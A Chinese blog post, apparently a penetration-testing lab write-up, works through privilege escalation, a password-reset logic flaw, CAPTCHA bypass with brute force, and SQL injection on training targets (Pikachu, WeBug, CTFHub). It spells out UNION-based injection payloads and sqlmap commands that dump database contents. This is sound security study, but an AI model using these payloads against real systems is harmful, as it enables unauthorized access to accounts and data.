12-渗透测试

1、水平越权&垂直越权漏洞实验

  • 水平越权

    • lucy用户登入成功后,将url的username参数由lucy改为kobe,即可查看到kobe的信息,实现水平越权

      image-20241125144750214

  • 垂直越权

    • 使用低权限用户pikachu访问添加用户页面,行使管理员admin用户的添加用户权限

      image-20241125145651348

    • 用户添加成功,实现垂直越权

      image-20241125145812672

2、密码修改逻辑漏洞实验

漏洞环境:docker run -d -p 8082:80 -p 33060:3306 area39/webug

  • 查看后端数据库信息,先登入普通用户aaaaa账号

    image-20241125150644515

  • 前端修改密码,发现未对旧密码进行校验,密码可以直接进行修改

    image-20241125150915889

  • 尝试抓包,观察id参数可以修改,推测管理员的id可能是1,修改后查看返回数据包发现修改成功

    image-20241125151752192

  • 来到后端,成功实现低权限用户对管理员admin密码的修改

    use webug;
    select * from user_test;
    

    image-20241125152246895

3、验证码安全

(1)验证码绕过(on client)+ 验证码绕过(on server)

  • on client

    • 由于验证码校验在前端,利用burp抓包可以绕过前端验证,实现密码爆破

      image-20241125153822946

      image-20241125154153643

    • admin用户的密码为123456

  • on server

    • 用burp抓包,多次进行密码修改提交,发现返回包始终提示“username or password is not exists”,证明验证码可以重复使用

      image-20241125155520098

    • 密码爆破,爆破出admin/123456

      image-20241125160011818

(2)验证码绕过(on server)实验中,为什么burp拦截开启的状态下,通过Repeater进行重放不会刷新验证码,关闭拦截后才会刷新验证码?

​ 因为存在两个请求数据包,第一个数据包是用来校验用户输入的验证码是否正确,第二个数据包是用来更新验证码。

​ 而开启burp拦截后,便一直处在第一个数据包中,所以并不会刷新验证码,关闭拦截后随着第一个请求数据包放过,第二请求数据包也接着放过,从而实现刷新验证码的操作。

4、CTFhub:SQL注入靶场,分别完成手工注入和Sqlmap工具注入的过程

  • 手工注入

    • 判断显示位1’ order by 2#超过2后不回显,,确定sql查询有两列

      image-20241125164940786

    • 确定显示位置,1和2均可显示

      image-20241125171858144

    • 查询数据库名,1' union all select 1,database()#——sqli

      image-20241125165414455

    • 查询sqli数据库的所有表名,-1' union all select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'#——发现flag表

      image-20241125170637079

    • 查询flag表的所以字段名,-1' union all select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag'#——flag

      image-20241125171156425

    • 查询sqli数据库中flag表里的flag字段具体信息-1' union all select 1,flag from sqli.flag#——ctfhub

      image-20241125171127013

  • sqlmap工具注入

    • burp抓取CTFHub的sql整数型请求数据包,将内容写在sqlmap目录下,使用-r参数进行注入

      image-20241125174749696

    • 获取库名python sqlmap.py -r 1.txt --batch --dbs

      image-20241125174951765

    • 获取sqli数据库的表名python sqlmap.py -r 1.txt --batch --dbs -D sqli --tables

      image-20241125175047659

    • 获取flag表的字段名python sqlmap.py -r 1.txt --batch --dbs -D sqli -T flag --columns

      image-20241125175139310

    • 获取flag字段的具体数据python sqlmap.py -r 1.txt --batch --dbs -D sqli -T flag -C flag --dump

      image-20241125175321406

    • 成功得到flag:ctfhub

posted @ 2024-11-25 18:24  荔枝在敲诈  阅读(67)  评论(0)    收藏  举报